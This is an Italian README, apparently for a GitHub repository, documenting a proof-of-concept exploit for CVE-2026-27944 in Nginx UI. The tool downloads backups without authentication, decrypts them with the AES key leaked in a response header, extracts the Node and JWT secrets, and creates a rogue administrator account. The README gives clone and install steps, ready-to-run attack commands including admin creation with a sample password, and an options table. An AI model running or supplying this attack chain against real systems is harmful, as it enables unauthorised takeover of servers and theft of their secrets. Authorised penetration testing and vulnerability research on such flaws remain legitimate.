
Exploit automatizzato per CVE-2026-27944 in Nginx UI: scarica e decripta i backup, estrae i segreti e crea account amministratore rogue per la completa compromissione della dashboard.
Questo repository contiene un Proof of Concept (POC) potenziato per CVE-2026-27944, una vulnerabilità critica in Nginx UI.
La vulnerabilità consente a un attaccante non autenticato di scaricare i backup di sistema tramite l'endpoint /api/backup. Inoltre, l'applicazione espone la chiave AES-256 e l'IV nell'header di risposta HTTP X-Backup-Security, consentendo all'attaccante di decrittare facilmente il backup scaricato.
Questo POC potenziato automatizza l'intera catena di attacco: scaricamento del backup, decrittazione del suo contenuto, estrazione dei segreti di configurazione (come Node Secret e JWT Secret) e sfruttamento di questi segreti per bypassare l'autenticazione e creare un account amministratore rogue per il pieno controllo della dashboard.
Questo strumento è destinato esclusivamente a scopi educativi e test di penetrazione autorizzati. Non utilizzare questo strumento contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione a testare. L'autore non è responsabile di qualsiasi uso improprio o danno causato da questo script.
X-Backup-Security per estrarre la chiave AES e l'IV codificati in Base64, e decritta il backup (AES-256-CBC).app.ini decrittato per estrarre informazioni sensibili:
X-Node-Secret) per interagire con l'API e creare un nuovo utente amministratore.pycryptodome (richiesta per la decrittazione AES)Clona il repository:
git clone https://github.com/Skynoxk/CVE-2026-27944-POC.git
cd CVE-2026-27944-POC
Installa le dipendenze richieste:
pip install pycryptodome
python exploit_enhanced.py --target <URL> [OPZIONI]
1. Scaricare e decrittare solo il backup:
python exploit_enhanced.py --target http://127.0.0.1:9000 --out backup.bin --decrypt
2. Scaricare, decrittare ed estrarre i segreti di configurazione:
python exploit_enhanced.py --target http://127.0.0.1:9000 --decrypt --show-secrets
3. Catena di attacco completa (Download, Decrittazione, Estrazione Segreti e Creazione Admin):
python exploit_enhanced.py --target http://127.0.0.1:9000 --decrypt --create-user hacker --password Pwned@123!
Se il flag --create-user viene utilizzato con successo, lo script restituirà metodi dettagliati per accedere alla dashboard di Nginx UI, tra cui:
authorization utilizzando il token JWT recuperato.curl che utilizzano l'header X-Node-Secret per bypassare i meccanismi di autenticazione.| Argomento | Descrizione | Predefinito |
|---|
--target | (Obbligatorio) URL di base dell'istanza Nginx UI (es. http://127.0.0.1:9000) | |
--out | Percorso del file per salvare il backup crittografato | backup.bin |
--decrypt | Decritta il backup scaricato | False |
--extract-dir | Directory per estrarre i file decrittati | backup_extracted |
--show-secrets | Estrae e visualizza i segreti sensibili da app.ini | False |
--create-user | Crea un utente admin per l'accesso alla dashboard (specificare il nome utente) | |
--password | Password per il nuovo utente admin creato | Admin@123456 |